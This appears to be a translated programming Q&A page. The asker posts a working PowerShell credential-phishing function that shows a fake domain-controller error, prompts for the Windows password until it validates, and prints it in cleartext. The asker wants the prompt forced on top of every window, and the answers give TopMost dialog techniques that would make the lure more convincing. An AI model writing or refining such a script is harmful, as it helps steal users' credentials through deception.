我希望Powershell中的creds框显示在每个窗口的顶部,就像用户在每个窗口上看到此框一样..............
function Invoke-Prompt {
[CmdletBinding()]
Param (
[Switch] $ProcCreateWait,
[String] $MsgText = 'Lost contact with the Domain Controller.',
[String] $IconType = 'Information', # "None", "Critical", "Question", "Exclamation" , "Information"
[String] $Title = 'ERROR - 0xA801B720'
)
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
if($MsgText -and $($MsgText -ne '')){
$null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
}
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
if($credential){
while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
$credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
}
"[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
}
else{
"[!] User closed credential prompt"
}
}
Invoke-Prompt
答案 0 :(得分:0)
您是否调查过:
$Credential = Get-Credential
有关定制证书提示的一些示例,请参考示例。
答案 1 :(得分:0)
对此。。。
没有像System.Windows.Forms的top属性那样的东西
...您确定吗,因为以下内容会反驳...
定义命名空间:System.Windows.Forms
程序集:System.Windows.Forms.dll
获取或设置一个值,该值指示是否应显示该表单 作为最高形式。
最努力的其他示例:
PowerShell tricks – Open a dialog as topmost window-的确没有涉及您的TopMost注释,但是,该注释是针对您正在使用的对话框和Windows窗体的。好吧,您在这里发布的内容。如果您需要WinForm / WPF,则需要使用它们。
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName PresentationFramework
即使没有内置属性也可以将对话框设置为 最上面的窗口,可以使用的第二个重载来实现 ShowDialog方法(MSDN:ShowDialog方法)。这种超负荷预期 一个指示对话框的父窗口的参数。以来 对话框关闭后,将不会使用拥有的窗口 可以在方法调用中即时创建新表单:
Add-Type -AssemblyName System.Windows.Forms
$FolderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
$FolderBrowser.Description = 'Select the folder containing the data'
$result = $FolderBrowser.ShowDialog((New-Object System.Windows.Forms.Form -Property @{TopMost = $true }))
if ($result -eq [Windows.Forms.DialogResult]::OK)
{ $FolderBrowser.SelectedPath }
else { exit }
或者这一个...
Keep Messagebox.show() on top of other application using c#
MessageBox.Show("Message Text", "Header", MessageBoxButtons.OK, MessageBoxIcon.None,
MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000); // MB_TOPMOST
The 0x40000 is the "MB_TOPMOST"-Flag.
# Or
MessageBox.Show("Hello there", "Prompt", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
C# MessageBox To Front When App is Minimized To Tray
MessageBox.Show(new Form() { TopMost = true }, "You have not inputted a username or password. Would you like to configure your settings now?",
"Settings Needed",
MessageBoxButtons.YesNo,
MessageBoxIcon.Question);
Force MessageBox to be on top of application window in .net/WPF 接受答案并带有43个投票:
Keep Form on Top of All Other Windows
好吧,这是C#,但是由于PowerShell可以使用.Net,所以仍然值得考虑。
最后,为什么您要说的是,您所展示的不是给您设计的结果?当我在这里测试机智时,它正在至少两个我测试过的系统上工作。